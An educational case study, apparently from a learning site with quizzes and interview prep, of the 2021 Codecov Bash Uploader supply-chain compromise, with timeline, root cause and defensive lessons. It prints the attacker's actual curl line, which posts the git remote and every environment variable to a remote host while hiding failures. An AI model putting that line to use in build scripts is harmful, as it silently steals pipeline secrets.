Codecov Bash Uploader Compromise
One added curl line in a CI script quietly sent customers' secrets to an attacker for two months, until a customer checked a checksum.
- Severity
- Front-page news
- Difficulty
- intermediate
- Companies
- Codecov
- Tech
- CI/CD, Bash, Docker, Google Cloud Storage, Environment variables
- Root cause
- poisoned dependency, stolen credentials
The story
Quick (1 min)
Codecov is a service that shows how much of your code your tests cover. Many companies ran its Bash Uploader script in their build pipelines (CI), usually by downloading it fresh each time with a one-line command.
From 31 January 2021, an attacker periodically changed that script. They added one line that sent everything in the build environment to the attacker's server. Build environments often hold secret keys, tokens and passwords, so those were exposed.
The attacker got in because of a mistake in how Codecov built its Docker image, which let them pull out a credential that allowed editing the script. The change was caught on 1 April 2021 when a customer compared the script's checksum with the published one and noticed they didn't match.
The lesson: verify what you download into your pipeline, and keep secrets out of build environments where possible.
Keep reading to the end to earn XP.Read. XP earned.
Engineer (2 min)
What was changed. Codecov published the exact modification:
curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://IPADDRESS/upload/v2 || true
That sends the repository's git remote URL plus every environment variable (env) to the attacker, quietly, with a 0.5-second timeout and || true so builds never fail.
How the attacker got access. "An error in Codecov's Docker image creation process... allowed the actor to extract the credential required to modify our Bash Uploader script." Forensics showed "periodic, unauthorized access to a Google Cloud Storage (GCS) key beginning January 31, 2021."
Exposure window. Between 31 January and 1 April 2021, there were 108 windows of time when the malicious script was served. The same script powered the Codecov GitHub Action, CircleCI Orb and Bitrise Step, so all were affected.
What was at risk:
- Any credentials, tokens or keys in the CI environment when the script ran.
- Anything those credentials could reach: services, datastores, application code.
- Git remote URLs of repositories using the uploader.
Detection. A customer used the shasum Codecov published on GitHub to check the downloaded script, found a mismatch, and reported it on the morning of 1 April. Codecov secured the script that day, notified affected users on 15 April, and advised anyone who hadn't verified checksums to rotate all secrets in their CI environment.
Interview takeaway: "curl | bash" in CI is a supply chain risk. Pin and verify scripts by hash, minimise and scope CI secrets, and restrict egress from build runners.
Keep reading to the end to earn XP.Read. XP earned.
Deep dive (2 min)
Timeline (Codecov)
- 31 January 2021: periodic unauthorised access to a GCS key begins; the Bash Uploader is first modified.
- 31 January – 1 April: 108 windows during which the malicious script was served.
- 1 April 2021, morning: a customer reports a checksum mismatch between the GitHub-published shasum and the downloaded script. Codecov secures and remediates the script.
- After 1 April: a third-party forensic firm is engaged and law enforcement notified.
- 15 April 2021, 6 am PT: affected users emailed and an in-app banner shown; public security update published.
- 29 April 2021: update with more detail on which environment variables may have been taken and how they may have been used; indicators of compromise published.
Why one line was enough
CI environments routinely contain cloud keys, deploy tokens, package registry credentials and signing keys. Exporting env collected all of them at once, from every customer whose pipeline ran the script during an affected window.
Codecov's guidance
"If you conducted a checksum comparison before using our Bash Uploaders as part of your CI processes, this issue may not impact you."
Otherwise: run env in your pipeline to see which secrets are exposed, rotate anything sensitive, and audit how those tokens were used.
Why it's a classic
It shows the risk of fetching and running remote scripts in CI without verification, and how a cloud credential leaked through a container image can poison a tool trusted by thousands of pipelines. It's also a good example of a customer's integrity check catching an attack the vendor missed.
Keep reading to the end to earn XP.Read. XP earned.
Failure replay
Step by step, what broke and what it hit next. Showing the key steps. Switch to Engineer or Deep dive for every step.
- Before Jan 2021Codecov Docker imagedegraded
A mistake in how the Docker image is built lets someone extract a credential for the storage holding the uploader.
Affects: Attacker
- Jan 31, 2021Attackercompromised
Using the extracted GCS key, the attacker adds one curl line to the Bash Uploader script.
Affects: Bash Uploader script
- Jan 31 – Apr 1Bash Uploader scriptcompromised
Customer CI pipelines download and run it. It sends git remote URLs and all environment variables to the attacker.
Affects: Customer CI pipelines
- Jan 31 – Apr 1Customer CI pipelinescompromised
Secrets in CI, such as cloud keys, tokens and credentials, leak during 108 windows. Builds keep passing.
Affects: Downstream systems
- Jan 31 – Apr 1Downstream systemscompromised
Anything those secrets unlock, like repos, datastores and services, is now exposed.
- Apr 1, 2021Alert customerrecovering
A customer's shasum check fails against the published value. They report it and Codecov fixes the script that day.
Affects: Bash Uploader script
- Apr 15, 2021Customer CI pipelinesrecovering
Codecov notifies affected users and advises rotating every secret in their CI environments.
Impact
- Who was affected
- Codecov customers whose CI pipelines ran the Bash Uploader (or the GitHub Action, CircleCI Orb or Bitrise Step) without checksum verification between 31 January and 1 April 2021.
- How long
- About two months (31 January to 1 April 2021), across 108 time windows.
- Cost
- not disclosed
Lessons
- Verify downloaded scripts by hash, or pin versions, before running them in CI.
- Minimise and scope secrets in CI; use short-lived, least-privilege credentials.
- Restrict network egress from build runners.
- Build processes for container images can leak credentials; audit what ends up in images.
- Integrity checks catch tampering that vendors miss.
Quiz
What did the attacker's added line in the Bash Uploader do?
The answer is Sent the git remote URL and all environment variables to the attacker's server. The curl command posted $(git remote -v) and $(env) to an attacker-controlled address.
Check answer
Sent the git remote URL and all environment variables to the attacker's server. The curl command posted $(git remote -v) and $(env) to an attacker-controlled address.
How did the attacker get permission to modify the script?
The answer is An error in Codecov's Docker image creation process exposed a credential (a GCS key). Codecov said the Docker image process let the actor extract the needed credential.
Check answer
An error in Codecov's Docker image creation process exposed a credential (a GCS key). Codecov said the Docker image process let the actor extract the needed credential.
How was the tampering discovered?
The answer is A customer's shasum check didn't match the published checksum. The customer reported the mismatch on 1 April 2021.
Check answer
A customer's shasum check didn't match the published checksum. The customer reported the mismatch on 1 April 2021.
What did Codecov recommend to customers who hadn't verified checksums?
The answer is Re-roll all credentials, tokens and keys in their CI environment variables. Any secret available when the script ran could have been exfiltrated.
Check answer
Re-roll all credentials, tokens and keys in their CI environment variables. Any secret available when the script ran could have been exfiltrated.
Interview prep
Try answering out loud before you open the model answer.
- security
Why is running "curl https://vendor/script | bash" in a CI pipeline risky, and how would you do it safely?
Show model answer
You execute whatever the server returns at that moment, inside an environment full of secrets. If the vendor or its storage is compromised, as with Codecov, attackers can add one line that exfiltrates everything. Safer: download a pinned version, verify its checksum or signature against a value you've stored, or vendor the script into your repo; prefer versioned packages or actions pinned to a commit SHA. Also limit secrets available to the step, and restrict outbound network access so exfiltration fails.
A strong answer hits:
- Executes mutable remote content with secrets present
- Pin and verify by hash or signature
- Vendor or pin to commit SHA
- Limit secrets and egress
How did your answer compare? - system design
How would you design secret handling in CI/CD so a compromised tool in the pipeline can steal as little as possible?
Show model answer
Use short-lived credentials via OIDC federation to cloud providers instead of long-lived keys. Scope secrets per job and step, exposing them only where needed, never globally. Use least-privilege roles per pipeline. Run untrusted or third-party steps in separate jobs without access to deploy credentials. Restrict egress to known endpoints, log secret usage, and alert on anomalies. Make rotation automated so responding to an incident like Codecov's is fast.
A strong answer hits:
- OIDC short-lived credentials
- Per-step secret scoping
- Isolate third-party steps
- Egress restrictions and automated rotation
How did your answer compare? - behavioural
A vendor tells you a tool in your CI pipeline was compromised for two months. What do you do?
Show model answer
Determine exposure: did we run it in the window, and did we verify checksums? List every secret available in those CI jobs (running env helps). Rotate all of them, prioritising cloud and production access. Audit logs for use of those credentials from unexpected places during the window. Check repositories and artifacts for tampering. Then reduce future blast radius with pinned tools, scoped secrets and egress controls.
A strong answer hits:
- Scope exposure by time window and verification
- Rotate all exposed secrets
- Audit for misuse
- Harden pipeline afterwards
How did your answer compare?
Go deeper
- Official postmortemBash Uploader Security UpdateCodecov, link checked 2026-11-25